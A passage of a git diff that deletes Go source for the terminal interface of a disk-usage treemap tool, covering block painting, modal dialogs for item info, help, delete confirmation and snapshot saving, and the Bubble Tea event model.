t.textOn(t.Sel), BG: t.Sel, Attr: Bold | m.monoRev()} - ch = "◆" - if t.ASCII { - ch = "#" - } - } else if t.Mono { - ch = "▒" - } - cv.Fill(b.Rect, " ", st) - cv.Text(b.X+(b.W-1)/2, b.Y+(b.H-1)/2, ch, 1, st) - return - } - cv.Fill(b.Rect, fillCh, Style{FG: base.Mix(t.Bg, 0.35), BG: fill}) - frame := Style{FG: base.Mix(t.Bg, 0.15), BG: fill} - box := t.box() - title := Style{FG: base.Mix(RGB(255, 255, 255), 0.35), BG: fill, Attr: Bold} - switch { - case sel: - box = t.selBox() - frame = Style{FG: t.Sel, BG: fill, Attr: Bold} - title = Style{FG: t.textOn(t.Sel), BG: t.Sel, Attr: Bold | m.monoRev()} - case hov: - frame.FG = base.Mix(RGB(255, 255, 255), 0.5) - } - if t.Mono && !sel { - title.Attr = Bold - } - cv.Box(b.Rect, box, frame) - cv.Text(b.X+1, b.Y, textutil.Truncate(" "+name+" ", b.W-2), b.W-2, title) - - label := textutil.Size(size) - if pct := textutil.Percent(size, total); b.W-2 >= textutil.Width(label)+textutil.Width(pct)+5 { - label += " · " + pct - } else if b.W-2 < textutil.Width(label)+2 { - label = textutil.SizeCompact(size) - } - label = " " + label + " " - if b.H >= 3 && textutil.Width(label) <= b.W-2 { - cv.TextRight(b.X+1, b.Y+b.H-1, b.W-2, label, Style{FG: frame.FG, BG: fill, Attr: frame.Attr}) - } - // Interior labels for blocks without nested previews. - in := b.Inset(1) - if in.Empty() || m.hasNested(b.ID) { - return - } - n := inventory.NoNode - if !isGroup(b.ID) { - n = inventory.NodeID(b.ID) - } - lines := []string{} - if n != inventory.NoNode { - nd := m.tree.Node(n) - if !nd.IsDir() { - lines = append(lines, kindLabel(m.tree, nd)) - } else if nd.Files > 0 { - lines = append(lines, textutil.Count(int64(nd.Files))+" files") - } - } - if b.H < 4 || in.W < 6 { - return - } - y0 := in.Y + (in.H-len(lines))/2 - for i, s := range lines { - cv.TextCentered(in.X, y0+i, in.W, s, Style{FG: base.Mix(t.Fg, 0.4), BG: fill}) - } -} - -func (m *Model) hasNested(id int64) bool { return m.tm != nil && m.tm.inner[id] } - -func (m *Model) paintNested(cv *Canvas, nb nested) { - t := m.theme - base := m.colorOf(nb.id) - f := max(0.38-0.1*float64(nb.depth-2), 0.1) - if nb.alt { - f += 0.07 - } - bg := base.Mix(t.Bg, f) - shadow := bg.Mix(RGB(0, 0, 0), 0.45) - st := Style{FG: t.textOn(bg), BG: bg} - ch := " " - if isGroup(nb.id) { - ch = "░" - if t.ASCII { - ch = "." - } - st.FG = bg.Mix(t.Fg, 0.25) - } - r := nb.r - cv.Fill(r, ch, st) - if t.Mono { - // No colour: draw a light outline so neighbours stay distinguishable. - if r.W >= 2 && r.H >= 2 { - cv.Box(r, BoxRound, Style{Attr: Faint}) - } - } else { - if r.W >= 4 { - cv.Fill(treemap.Rect{X: r.X + r.W - 1, Y: r.Y, W: 1, H: r.H}, " ", Style{BG: shadow}) - } - if r.H >= 3 { - cv.Fill(treemap.Rect{X: r.X, Y: r.Y + r.H - 1, W: r.W, H: 1}, " ", Style{BG: shadow}) - } - } - lw := r.W - 1 - if t.Mono { - lw = r.W - 2 - } - if lw < 5 { - return - } - lx := r.X - if t.Mono { - lx++ - } - ly := r.Y - if t.Mono && r.H >= 3 { - ly++ - } - name := m.blockName(nb.id) - if textutil.Width(name) > lw && lw < 8 { - return // a stub like "te…" is noise, not information - } - cv.Text(lx, ly, textutil.Truncate(name, lw), lw, Style{FG: st.FG, BG: bg, Attr: Bold}) - if !nb.inner && r.H >= 3 && lw >= 5 { - size := m.blockSize(nb.id) - label := textutil.SizeCompact(size) - if pct := textutil.Percent(size, m.parentSize(nb.id)); textutil.Width(label)+textutil.Width(pct)+3 <= lw { - label += " · " + pct - } - cv.Text(lx, ly+1, textutil.Truncate(label, lw), lw, Style{FG: bg.Mix(st.FG, 0.7), BG: bg}) - } -} - -func (v *mapView) key(m *Model, k string) (bool, tea.Cmd) { - dirs := map[string]treemap.Direction{"left": treemap.Left, "right": treemap.Right, "up": treemap.Up, "down": treemap.Down, - "h": treemap.Left, "l": treemap.Right, "k": treemap.Up, "j": treemap.Down} - if d, ok := dirs[k]; ok { - if l := m.tm; l != nil { - if id, ok := treemap.Neighbour(l.blocks, m.visibleSel(l.visible), d); ok { - m.sel = id - } - } - return true, nil - } - return false, nil -} - -func (v *mapView) wheel(m *Model, up bool) tea.Cmd { - if up { - return m.zoomIntoSelection() - } - m.zoomOut() - return nil -} diff --git a/internal/tui/modal.go b/internal/tui/modal.go deleted file mode 100644 index 5a0b6a7..0000000 --- a/internal/tui/modal.go +++ /dev/null @@ -1,221 +0,0 @@ -package tui - -import ( - "strings" - - tea "charm.land/bubbletea/v2" - - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// span is a run of styled text; a line is a slice of spans. -type span struct { - s string - st *Style // nil = modal default -} - -type line []span - -func txt(s string) line { return line{{s, nil}} } -func styled(s string, st Style) line { return line{{s, &st}} } -func kv(k, v string, kst, vst Style) line { return line{{textutil.PadRight(k, 18), &kst}, {v, &vst}} } - -// modal is an overlay. Modals receive all keys while open; Esc always -// closes them (handled by the frame before the modal sees it, unless the -// modal is editing text). -type modal interface { - title() string - content(m *Model, width int) []line // rebuilt every frame, so resizes reflow - footer(m *Model) string - key(m *Model, k string) (closeModal bool, cmd tea.Cmd) - width() int // preferred inner width -} - -// modalFrame wraps a modal with scroll state. -type modalFrame struct { - modal - scroll int - viewH int // content rows visible in the last paint - contentN int -} - -func (m *Model) openModal(md modal) { - m.modals = append(m.modals, &modalFrame{modal: md}) - m.dirty = true -} - -func (m *Model) closeModal() { - if len(m.modals) > 0 { - m.modals = m.modals[:len(m.modals)-1] - } - m.dirty = true -} - -// textInputModal is implemented by modals that consume printable keys. -type textInputModal interface { - editing() bool - editor() *lineEditor -} - -func (m *Model) modalKey(msg tea.KeyPressMsg) tea.Cmd { - k := keyName(msg) - f := m.modals[len(m.modals)-1].(*modalFrame) - if ti, ok := f.modal.(textInputModal); ok && ti.editing() && k != "esc" && k != "enter" { - ti.editor().key(msg) - return nil - } - if ti, ok := f.modal.(textInputModal); !ok || !ti.editing() { - page := max(f.viewH-1, 1) - switch k { - case "esc", "q": - m.closeModal() - return nil - case "up", "k": - f.scroll-- - case "down", "j": - f.scroll++ - case "pgup": - f.scroll -= page - case "pgdown", "space": - f.scroll += page - case "home": - f.scroll = 0 - case "end": - f.scroll = f.contentN - default: - goto modalSpecific - } - f.clampScroll() - return nil - } -modalSpecific: - closeIt, cmd := f.key(m, k) - if closeIt { - // Close this modal specifically (it may have opened another). - for i, x := range m.modals { - if x == f { - m.modals = append(m.modals[:i], m.modals[i+1:]...) - break - } - } - m.dirty = true - } - return cmd -} - -func (f *modalFrame) clampScroll() { - f.scroll = max(0, min(f.scroll, f.contentN-f.viewH)) -} - -// paintModal dims the base screen and draws the top modal centred, -// clamped to the terminal with a one-cell margin. Content that does not fit -// scrolls. -func (m *Model) paintModal(cv *Canvas) { - t := m.theme - // Dim everything underneath. - cv.Restyle(treemap.Rect{X: 0, Y: 0, W: cv.W, H: cv.H}, func(s Style) Style { - if t.Mono { - s.Attr |= Faint - return s - } - s.FG = s.FG.Mix(t.Bg, 0.6) - s.BG = s.BG.Mix(RGB(0, 0, 0), 0.45) - s.Attr &^= Bold - return s - }) - f := m.modals[len(m.modals)-1].(*modalFrame) - maxW := cv.W - 2 - w := min(f.width()+4, maxW) - w = max(w, min(30, maxW)) - inner := w - 4 - lines := f.content(m, inner) - foot := f.footer(m) - chrome := 4 // border top/bottom, title rule - if foot != "" { - chrome += 2 - } - h := min(len(lines)+chrome, cv.H-2) - h = max(h, min(chrome+1, cv.H)) - x0, y0 := (cv.W-w)/2, (cv.H-h)/2 - r := treemap.Rect{X: x0, Y: y0, W: w, H: h} - bg := t.PanelBg - if bg == 0 { - bg = t.Bg - } - base := Style{FG: t.Fg, BG: bg} - // Drop shadow. - if !t.Mono { - cv.Restyle(treemap.Rect{X: x0 + 1, Y: y0 + h, W: w, H: 1}, func(s Style) Style { s.BG = RGB(0, 0, 0); return s }) - cv.Restyle(treemap.Rect{X: x0 + w, Y: y0 + 1, W: 1, H: h}, func(s Style) Style { s.BG = RGB(0, 0, 0); return s }) - } - cv.Fill(r, " ", base) - border := Style{FG: t.Accent, BG: bg, Attr: Bold} - box := BoxRound - if t.ASCII { - box = BoxASCII - } - cv.Box(r, box, border) - cv.Text(x0+2, y0+1, strings.ToUpper(f.title()), inner, Style{FG: t.Accent, BG: bg, Attr: Bold}) - rule := "─" - if t.ASCII { - rule = "-" - } - cv.HLine(x0+1, y0+2, w-2, rule, Style{FG: t.Faint, BG: bg}) - f.viewH = h - chrome - f.contentN = len(lines) - f.clampScroll() - for i := 0; i < f.viewH && f.scroll+i < len(lines); i++ { - x := x0 + 2 - for _, sp := range lines[f.scroll+i] { - st := base - if sp.st != nil { - st = *sp.st - if st.BG == 0 { - st.BG = bg - } - } - x += cv.Text(x, y0+3+i, sp.s, x0+2+inner-x, st) - } - } - if len(lines) > f.viewH && f.viewH > 0 { - ind := textutil.Count(int64(f.scroll+1)) + "–" + textutil.Count(int64(min(f.scroll+f.viewH, len(lines)))) + - "/" + textutil.Count(int64(len(lines))) - if f.scroll > 0 { - ind = "▲ " + ind - } - if f.scroll+f.viewH < len(lines) { - ind += " ▼" - } - cv.TextRight(x0+1, y0+1, w-3, ind, Style{FG: t.Muted, BG: bg}) - } - if foot != "" { - cv.HLine(x0+1, y0+h-3, w-2, rule, Style{FG: t.Faint, BG: bg}) - cv.Text(x0+2, y0+h-2, foot, inner, Style{FG: t.Muted, BG: bg}) - } - m.hits = append(m.hits[:0], hit{r, func(*Model, bool) tea.Cmd { return nil }}) -} - -// wrap breaks s into chunks of at most w cells (used for long paths). -func wrap(s string, w int) []string { - if w <= 0 { - return nil - } - var out []string - var cur strings.Builder - cw := 0 - textutil.Clusters(s, func(c string, cwid int) bool { - if cw+cwid > w { - out = append(out, cur.String()) - cur.Reset() - cw = 0 - } - cur.WriteString(c) - cw += cwid - return true - }) - if cur.Len() > 0 || len(out) == 0 { - out = append(out, cur.String()) - } - return out -} diff --git a/internal/tui/modals.go b/internal/tui/modals.go deleted file mode 100644 index b21195f..0000000 --- a/internal/tui/modals.go +++ /dev/null @@ -1,391 +0,0 @@ -package tui - -import ( - "fmt" - "io/fs" - "strings" - "time" - - tea "charm.land/bubbletea/v2" - - "github.com/andydixon/mapsize/internal/export" - "github.com/andydixon/mapsize/internal/filter" - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/platform" - "github.com/andydixon/mapsize/internal/textutil" -) - -// ---- Item information ------------------------------------------------------- - -type infoModal struct { - id inventory.NodeID - btime int64 // live birth time (0 if unknown) - live bool // metadata re-read from the filesystem -} - -func newInfoModal(m *Model, id inventory.NodeID) modal { - md := &infoModal{id: id} - if !m.snapshot { - // Birth time is not kept in the inventory; read it live. - if meta, err := platform.Lstat(m.tree.Path(id)); err == nil { - md.btime, md.live = meta.BTime, true - } - } - return md -} - -func (*infoModal) width() int { return 72 } - -func (md *infoModal) title() string { return "Item information" } - -func (md *infoModal) footer(m *Model) string { - s := "Esc close · c copy path · o " + revealVerb() + " · Space go to" - if !m.opts.ReadOnly && !m.snapshot { - s += " · d " + deleteVerb() - } - return s -} - -func (md *infoModal) content(m *Model, w int) []line { - t := m.theme - tr := m.tree - n := tr.Node(md.id) - ks := Style{FG: t.Muted} - vs := Style{FG: t.Fg} - bold := Style{FG: t.Fg, Attr: Bold} - warn := Style{FG: t.Warn, Attr: Bold} - var out []line - add := func(k, v string) { out = append(out, kv(k, v, ks, vs)) } - addS := func(k, v string, st Style) { out = append(out, kv(k, v, ks, st)) } - blank := func() { out = append(out, txt("")) } - - col := m.colorOf(int64(md.id)) - title := Style{FG: col.Mix(RGB(255, 255, 255), 0.3), Attr: Bold} - for _, l := range wrap(textutil.Sanitize(n.Name), w) { - out = append(out, styled(l, title)) - } - blank() - out = append(out, styled("Path", ks)) - for _, l := range wrap(textutil.Sanitize(tr.Path(md.id)), w) { - out = append(out, styled(l, vs)) - } - if textutil.Sanitize(n.Name) != n.Name { - out = append(out, styled("Name contains control or invalid characters (shown escaped)", warn)) - } - blank() - if n.IsDir() { - addS("Total logical", fmt.Sprintf("%s (%s bytes)", textutil.Size(n.TotSize), textutil.Count(n.TotSize)), bold) - addS("Total allocated", fmt.Sprintf("%s (%s bytes)", textutil.Size(n.TotAlloc), textutil.Count(n.TotAlloc)), bold) - add("Files", textutil.Count(int64(n.Files))) - add("Directories", textutil.Count(int64(n.Dirs))) - if p := n.Parent; p != inventory.NoNode { - add("Of parent", textutil.Percent(n.Total(m.sizeMode), tr.Node(p).Total(m.sizeMode))) - } - add("Of scan", textutil.Percent(n.Total(m.sizeMode), tr.Node(0).Total(m.sizeMode))) - k := m.kidsOf(md.id) - if len(k.ids) > 0 { - add("Largest child", fmt.Sprintf("%s (%s)", textutil.Sanitize(tr.Node(k.ids[0]).Name), textutil.Size(k.sizes[0]))) - } - if n.Errors > 0 { - addS("Errors beneath", textutil.Count(int64(n.Errors)), Style{FG: t.Err, Attr: Bold}) - } - state := "complete" - switch { - case n.Flags&inventory.FlagIncomplete != 0: - state = "incomplete (not fully read)" - case n.Flags&inventory.FlagScanned == 0 && m.scanning: - state = "scanning…" - case n.Flags&(inventory.FlagSkippedFS|inventory.FlagVirtualFS|inventory.FlagLoop) != 0: - state = "not descended" - } - add("Scan state", state) - } else { - addS("Logical size", fmt.Sprintf("%s (%s bytes)", textutil.Size(n.Size), textutil.Count(n.Size)), bold) - alloc := fmt.Sprintf("%s (%s bytes)", textutil.Size(n.Alloc), textutil.Count(n.Alloc)) - if n.Flags&inventory.FlagAllocUnknown != 0 { - alloc = "unknown on this platform" - } - addS("Allocated size", alloc, bold) - if p := n.Parent; p != inventory.NoNode { - add("Of parent", textutil.Percent(n.Own(m.sizeMode), tr.Node(p).Total(m.sizeMode))) - } - } - if r := m.search.result; r != nil { - add("Matching filter", textutil.Size(r.Size(md.id))) - } - if d := m.opts.Diff; d != nil { - if old, ok := d.OldSize(md.id, m.sizeMode); ok { - add("In old snapshot", textutil.Size(old)) - addS("Change", textutil.SignedSize(n.Total(m.sizeMode)-old), bold) - } else { - addS("Change", "new since old snapshot", Style{FG: t.DiffNew, Attr: Bold}) - } - } - blank() - add("Type", n.Kind.String()) - if !n.IsDir() { - if e := tr.ExtName(n); e != "" { - add("Extension", textutil.Sanitize(e)) - } - add("Category", n.Cat.String()) - } - blank() - if n.MTime > 0 { - add("Modified", fmtTime(n.MTime)) - } - if md.btime > 0 { - add("Created", fmtTime(md.btime)) - } - blank() - add("Mode", fs.FileMode(n.Mode).String()) - add("Owner", textutil.Sanitize(platform.UserName(n.UID))) - add("Group", textutil.Sanitize(platform.GroupName(n.GID))) - if !n.IsDir() { - add("Hard links", fmt.Sprint(n.Nlink)) - sparse := "No" - if n.Flags&inventory.FlagSparse != 0 { - sparse = fmt.Sprintf("Yes (or compressed) — %s not allocated", textutil.Size(n.Size-n.Alloc)) - } - add("Sparse", sparse) - } - if fl := export.FlagList(n.Flags &^ (inventory.FlagScanned | inventory.FlagSparse)); len(fl) > 0 { - addS("Flags", strings.Join(fl, ", "), warn) - } - if n.Flags&inventory.FlagHardlinkDup != 0 { - out = append(out, styled("Another path to this inode was counted; this one adds nothing to totals.", Style{FG: t.Muted})) - } - if m.snapshot { - out = append(out, txt(""), styled("From snapshot — metadata as recorded, not live.", Style{FG: t.Muted})) - } - return out -} - -func fmtTime(ns int64) string { return time.Unix(0, ns).Format("2006-01-02 15:04:05") } - -func (md *infoModal) key(m *Model, k string) (bool, tea.Cmd) { - switch k { - case "c": - return false, m.copyPath(m.tree.Path(md.id)) - case "o": - m.sel = int64(md.id) - // Headless, o navigates the map, which the modal would cover. - return platform.Headless(), m.reveal() - case "enter": - return true, nil - case "g", "right": - m.jumpTo(md.id) - return true, nil - case "d", "delete": - m.sel = int64(md.id) - return true, m.requestTrash() - } - return false, nil -} - -// ---- LOD group ------------------------------------------------------------------ - -type groupModal struct{ g *group } - -func newGroupModal(_ *Model, g *group) modal { return &groupModal{g} } - -func (*groupModal) width() int { return 70 } -func (*groupModal) title() string { return "Smaller items (grouped)" } -func (*groupModal) footer(*Model) string { return "Esc close · Space shows them in the list view" } - -func (md *groupModal) content(m *Model, w int) []line { - t := m.theme - out := []line{ - txt(fmt.Sprintf("%s items too small to draw individually at this size,", textutil.Count(int64(len(md.g.ids))))), - txt(fmt.Sprintf("totalling %s. Zoom in or enlarge the terminal to see them.", textutil.Size(md.g.size))), - txt(""), - } - for i, id := range md.g.ids { - if i == 200 { - out = append(out, styled(fmt.Sprintf("… and %s more", textutil.Count(int64(len(md.g.ids)-200))), Style{FG: t.Muted})) - break - } - n := m.tree.Node(id) - name := textutil.Sanitize(n.Name) - if n.IsDir() { - name += "/" - } - out = append(out, line{{textutil.PadLeft(textutil.Size(m.sizeOf(id)), 11) + " ", &Style{FG: t.Muted}}, - {textutil.Truncate(name, w-13), &Style{FG: m.colorOf(int64(id)).Mix(t.Fg, 0.4)}}}) - } - return out -} - -func (md *groupModal) key(m *Model, k string) (bool, tea.Cmd) { - if k == "enter" { - m.sel = int64(md.g.ids[0]) - m.setViewByName("List") - return true, nil - } - return false, nil -} - -// ---- Help --------------------------------------------------------------------- - -type helpModal struct{} - -func newHelpModal(*Model) modal { return helpModal{} } - -func (helpModal) width() int { return 78 } -func (helpModal) title() string { return "Keyboard reference" } -func (helpModal) footer(*Model) string { return "Esc close · ↑↓ scroll" } - -func (helpModal) content(m *Model, _ int) []line { - t := m.theme - h := Style{FG: t.Accent, Attr: Bold} - k := Style{FG: t.Sel, Attr: Bold} - d := Style{FG: t.Fg} - var out []line - sec := func(s string) { - if len(out) > 0 { - out = append(out, txt("")) - } - out = append(out, styled(s, h)) - } - row := func(keys, desc string) { out = append(out, line{{" " + textutil.PadRight(keys, 19), &k}, {desc, &d}}) } - sec("NAVIGATION") - row("↑ ↓ ← → hjkl", "move spatially through the treemap") - row("Enter", "inspect the selected item") - row("Space →", "zoom into the selected directory") - row("Backspace ←", "zoom out one level") - row("Home", "back to the scan root") - row("click / dbl-click", "select / zoom (mouse)") - row("wheel", "zoom in/out (map), scroll (lists)") - sec("SEARCH & FILTER") - row("/", "search or filter; the map shows only matches") - row("Esc", "clear the filter") - out = append(out, styled(" ubuntu *.iso size > 5GB ext IN (iso,qcow2) age > 365d", Style{FG: t.Muted})) - out = append(out, styled(" path contains cache AND NOT type = dir owner = andy flag = sparse", Style{FG: t.Muted})) - fields := strings.Fields(filter.Fields) - out = append(out, styled(" fields: "+strings.Join(fields[:7], " "), Style{FG: t.Muted})) - out = append(out, styled(" "+strings.Join(fields[7:], " "), Style{FG: t.Muted})) - out = append(out, styled(" sizes: KiB/MiB/GiB (1024), kB/MB/GB (1000); ages: s min h d w mo y", Style{FG: t.Muted})) - sec("VIEWS") - row("Tab Shift+Tab", "next / previous view") - row("1 – 7", "jump to a view") - row("x", "file types (extension statistics)") - row("g", "top lists: largest, oldest, sparse, hard links …") - row("e", "scan information and errors") - row("D", "find duplicate files (reads file contents)") - sec("APPLICATION") - row("a", "toggle allocated / logical (apparent) size") - row("c", "copy path to clipboard") - row("o", revealVerb()) - if !m.opts.ReadOnly { - row("d", deleteVerb()+" (asks first)") - } - row("s", "save snapshot") - row("r", "rescan") - row("T", "cycle colour theme") - row("Ctrl+C", "cancel scan; press again to quit") - row("q", "quit") - out = append(out, txt("")) - units := "IEC (KiB = 1024 bytes)" - if textutil.SI { - units = "SI (kB = 1000 bytes)" - } - out = append(out, styled("Sizes: "+m.sizeMode.String()+" · units: "+units, Style{FG: t.Muted})) - return out -} - -func (helpModal) key(*Model, string) (bool, tea.Cmd) { return false, nil } - -// ---- Confirmation ------------------------------------------------------------- - -type confirmModal struct { - ttl string - body []string - yes string - onYes func(m *Model) tea.Cmd -} - -func (c *confirmModal) width() int { - w := 40 - for _, b := range c.body { - w = max(w, textutil.Width(b)) - } - return min(w, 90) -} -func (c *confirmModal) title() string { return c.ttl } -func (c *confirmModal) footer(*Model) string { return "y " + c.yes + " · n / Esc cancel" } -func (c *confirmModal) content(m *Model, w int) []line { - var out []line - for _, b := range c.body { - for _, l := range wrap(b, w) { - out = append(out, txt(l)) - } - } - return out -} -func (c *confirmModal) key(m *Model, k string) (bool, tea.Cmd) { - switch k { - case "y", "Y": - return true, c.onYes(m) - case "n", "N", "enter": - return true, nil - } - return false, nil -} - -// ---- Save snapshot --------------------------------------------------------------- - -type saveModal struct{ ed lineEditor } - -func newSaveModal(m *Model) modal { - md := &saveModal{} - md.ed.set(defaultSnapshotName(m.tree.Stats.Root)) - return md -} - -func (*saveModal) editing() bool { return true } -func (md *saveModal) editor() *lineEditor { return &md.ed } -func (*saveModal) width() int { return 70 } -func (*saveModal) title() string { return "Save snapshot" } -func (*saveModal) footer(*Model) string { return "Enter save · Esc cancel" } - -func (md *saveModal) content(m *Model, w int) []line { - t := m.theme - out := []line{txt("File:")} - s := textutil.Sanitize(md.ed.String()) - for _, l := range wrap(s+"█", w) { - out = append(out, styled(l, Style{FG: t.Fg, Attr: Bold})) - } - if m.scanning { - out = append(out, txt(""), styled("The scan is still running: the snapshot will be marked incomplete.", Style{FG: t.Warn})) - } - return out -} - -func (md *saveModal) key(m *Model, k string) (bool, tea.Cmd) { - switch k { - case "esc": - return true, nil - case "enter": - p := strings.TrimSpace(md.ed.String()) - if p == "" { - return false, nil - } - return true, tea.Batch(m.saveSnapshot(p), m.info("Saving snapshot…")) - } - return false, nil -} - -// revealVerb and deleteVerb describe o and d, which change meaning on a -// headless system. -func revealVerb() string { - if platform.Headless() { - return "show folder in map" - } - return "reveal in file manager" -} - -func deleteVerb() string { - if platform.Headless() { - return "delete permanently" - } - return "move to " + platform.TrashName -} diff --git a/internal/tui/model.go b/internal/tui/model.go deleted file mode 100644 index 5f9ad5a..0000000 --- a/internal/tui/model.go +++ /dev/null @@ -1,447 +0,0 @@ -// Package tui is the interactive terminal interface. All drawing goes to a -// Canvas; Bubble Tea only transports the finished frame. -// -// Threading: Update and View run on Bubble Tea's event goroutine. The scan -// controller mutates the inventory concurrently, so every read of tree data -// happens under tree.RLock (taken once per frame in View, and briefly in key -// handlers). The model itself is only touched on the event goroutine. -package tui - -import ( - "context" - "fmt" - "log/slog" - "os" - "path/filepath" - "strings" - "time" - - tea "charm.land/bubbletea/v2" - "github.com/charmbracelet/colorprofile" - - "github.com/andydixon/mapsize/internal/brand" - "github.com/andydixon/mapsize/internal/config" - "github.com/andydixon/mapsize/internal/filter" - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/scan" - "github.com/andydixon/mapsize/internal/snapshot" - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// Options configures the interactive session. -type Options struct { - ReadOnly bool - Theme string - SizeMode inventory.SizeMode - Mouse bool - Color string // auto, truecolor, 256, 16, none - Save string // save a snapshot here when the scan completes - Settings config.Settings - Diff *snapshot.Diff // compare mode - // Start begins a scan (or returns a loaded tree with a nil scanner). - Start func(ctx context.Context) (*scan.Scanner, *inventory.Tree, error) -} - -// Messages. -type ( - tickMsg time.Time - scanDoneMsg struct{ s *scan.Scanner } - fatalMsg struct { - v any - stack []byte - } - filterMsg struct { - gen int - res *filter.Result - err error - } - filterDebounceMsg struct{ gen int } -) - -// Model is the Bubble Tea model. -type Model struct { - opts Options - theme *Theme - - scanner *scan.Scanner - tree *inventory.Tree - cancel context.CancelFunc - scanning bool - snapshot bool // tree was loaded from a snapshot (not the live filesystem) - ctrlC bool // a Ctrl+C already cancelled the scan - - w, h int - profile colorprofile.Profile - forced bool // profile forced by --color - sizeMode inventory.SizeMode - - views []view - view int - - zoom inventory.NodeID - sel int64 // selected block: NodeID, or groupID(parent) for an LOD group - // userSel is set once the user has chosen a selection; before that the - // selection follows the largest block. - userSel bool - zoomed bool // zoom changed during this message (zoomTo set userSel) - - search searchState - modals []modal - - toast string - toastStyle Style - toastUntil time.Time - - // Frame and data caches. - dirty bool - frame string - dataVer int // bumped when sizes/filters change; invalidates caches - lastData time.Time // last time dataVer advanced during a scan - kidsCache map[inventory.NodeID]*kids - kidsVer int - tm *tmLayout - hits []hit // clickable regions from the last frame - hover int64 - lastClick time.Time - lastClickI int64 - ticking bool - - pendingZoom string // path to re-zoom after a rescan - dups *dupState - - fatal *fatalMsg - quit bool -} - -// hit is a clickable region recorded while painting. -type hit struct { - r treemap.Rect - fn func(m *Model, double bool) tea.Cmd -} - -func groupID(parent inventory.NodeID) int64 { return -1 - int64(parent) } -func isGroup(id int64) bool { return id < 0 } -func groupParent(id int64) inventory.NodeID { return inventory.NodeID(-1 - id) } - -func newModel(opts Options, s *scan.Scanner, t *inventory.Tree, cancel context.CancelFunc) *Model { - m := &Model{ - opts: opts, scanner: s, tree: t, cancel: cancel, scanning: s != nil, snapshot: s == nil, - sizeMode: opts.SizeMode, dirty: true, kidsCache: map[inventory.NodeID]*kids{}, hover: noSel, - lastClickI: noSel, - } - name := opts.Theme - if name == "" || name == "default" { - if _, ok := os.LookupEnv("NO_COLOR"); ok { - name = "mono" - } - } - m.theme = LoadTheme(name, opts.Settings) - if strings.EqualFold(os.Getenv("TERM"), "linux") || os.Getenv("MAPSIZE_ASCII") != "" { - m.theme.ASCII = true - } - m.views = []view{&mapView{}, &listView{}, &extView{}, &topView{}, &infoView{}} - if opts.Diff != nil { - m.views = append(m.views, &changesView{}) - } - m.zoom = t.Root() - m.sel = noSel - return m -} - -const noSel int64 = 1 << 62 - -// debugPanic lets developers verify terminal restoration on crashes: -// MAPSIZE_DEBUG_PANIC=ui panics on the first key press; =scanner panics in -// a background goroutine shortly after start. -var debugPanic = os.Getenv("MAPSIZE_DEBUG_PANIC") - -// Init starts ticking and waits for scan completion. -func (m *Model) Init() tea.Cmd { - cmds := []tea.Cmd{tea.RequestWindowSize} - if m.scanning { - cmds = append(cmds, waitScan(m.scanner), m.startTicking()) - } - return tea.Batch(cmds...) -} - -func waitScan(s *scan.Scanner) tea.Cmd { - return func() tea.Msg { <-s.Done(); return scanDoneMsg{s} } -} - -func (m *Model) refreshInterval() time.Duration { - hz := m.opts.Settings.RefreshHz - if hz <= 0 { - hz = 10 - } - return time.Second / time.Duration(hz) -} - -// startTicking returns a tick command unless one is already pending. -func (m *Model) startTicking() tea.Cmd { - if m.ticking { - return nil - } - m.ticking = true - return tea.Tick(m.refreshInterval(), func(t time.Time) tea.Msg { return tickMsg(t) }) -} - -func (m *Model) needsTicks() bool { - return m.scanning || time.Now().Before(m.toastUntil) || (m.dups != nil && m.dups.running) -} - -// notify shows a transient status message. -func (m *Model) notify(s string, st Style) tea.Cmd { - m.toast, m.toastStyle, m.toastUntil = s, st, time.Now().Add(4*time.Second) - m.dirty = true - return m.startTicking() -} - -func (m *Model) info(s string) tea.Cmd { - return m.notify(s, Style{FG: m.theme.Fg, BG: m.theme.StatusBg}) -} -func (m *Model) warn(s string) tea.Cmd { - return m.notify(s, Style{FG: m.theme.Warn, BG: m.theme.StatusBg, Attr: Bold}) -} - -// invalidate marks size-dependent caches stale. -func (m *Model) invalidate() { - m.dataVer++ - m.dirty = true -} - -// Update handles one message. -func (m *Model) Update(msg tea.Msg) (tea.Model, tea.Cmd) { - cmd := m.update(msg) - if m.quit { - return m, tea.Quit - } - return m, cmd -} - -func (m *Model) update(msg tea.Msg) tea.Cmd { - switch msg := msg.(type) { - case tea.WindowSizeMsg: - // Only record the size; layout is recomputed lazily in View, so a - // storm of resize events costs at most one layout per frame. - if msg.Width != m.w || msg.Height != m.h { - m.w, m.h = msg.Width, msg.Height - m.dirty = true - } - case tickMsg: - m.ticking = false - if m.scanning { - m.dirty = true - if time.Since(m.lastData) >= 400*time.Millisecond { - m.invalidate() - m.lastData = time.Now() - } - m.resolvePendingZoom() - } - if m.toast != "" && time.Now().After(m.toastUntil) { - m.toast = "" - m.dirty = true - } - var cmds []tea.Cmd - if m.scanning && m.search.query != nil && time.Since(m.search.appliedAt) > time.Second { - cmds = append(cmds, m.applyFilter()) - } - if m.dups != nil && m.dups.running { - m.dirty = true - } - if m.needsTicks() { - cmds = append(cmds, m.startTicking()) - } - return tea.Batch(cmds...) - case scanDoneMsg: - if msg.s != m.scanner { - return nil // a superseded scan - } - return m.scanFinished() - case filterMsg: - return m.filterResult(msg) - case filterDebounceMsg: - if msg.gen == m.search.gen { - return m.applyFilter() - } - case dupProgressMsg, dupDoneMsg: - return m.dupMsg(msg) - case trashDoneMsg: - return m.trashDone(msg) - case saveDoneMsg: - if msg.err != nil { - return m.warn("Snapshot save failed: " + textutil.Sanitize(msg.err.Error())) - } - return m.info("Saved snapshot " + textutil.Sanitize(msg.path)) - case fatalMsg: - m.fatal = &msg - m.quit = true - case tea.KeyPressMsg: - if debugPanic == "ui" { - panic("MAPSIZE_DEBUG_PANIC=ui: deliberate panic to test terminal restoration") - } - m.dirty = true - prev := m.sel - m.zoomed = false - cmd := m.handleKey(msg) - m.noteSelection(prev) - return cmd - case tea.MouseClickMsg: - prev := m.sel - m.zoomed = false - cmd := m.mouseClick(msg.Mouse()) - m.noteSelection(prev) - return cmd - case tea.MouseWheelMsg: - return m.mouseWheel(msg.Mouse()) - case tea.MouseMotionMsg: - m.mouseMotion(msg.Mouse()) - case tea.ColorProfileMsg: - if !m.forced { - m.profile = msg.Profile - } - m.dirty = true - } - return nil -} - -// noteSelection records that the user chose a selection explicitly. -func (m *Model) noteSelection(prev int64) { - if 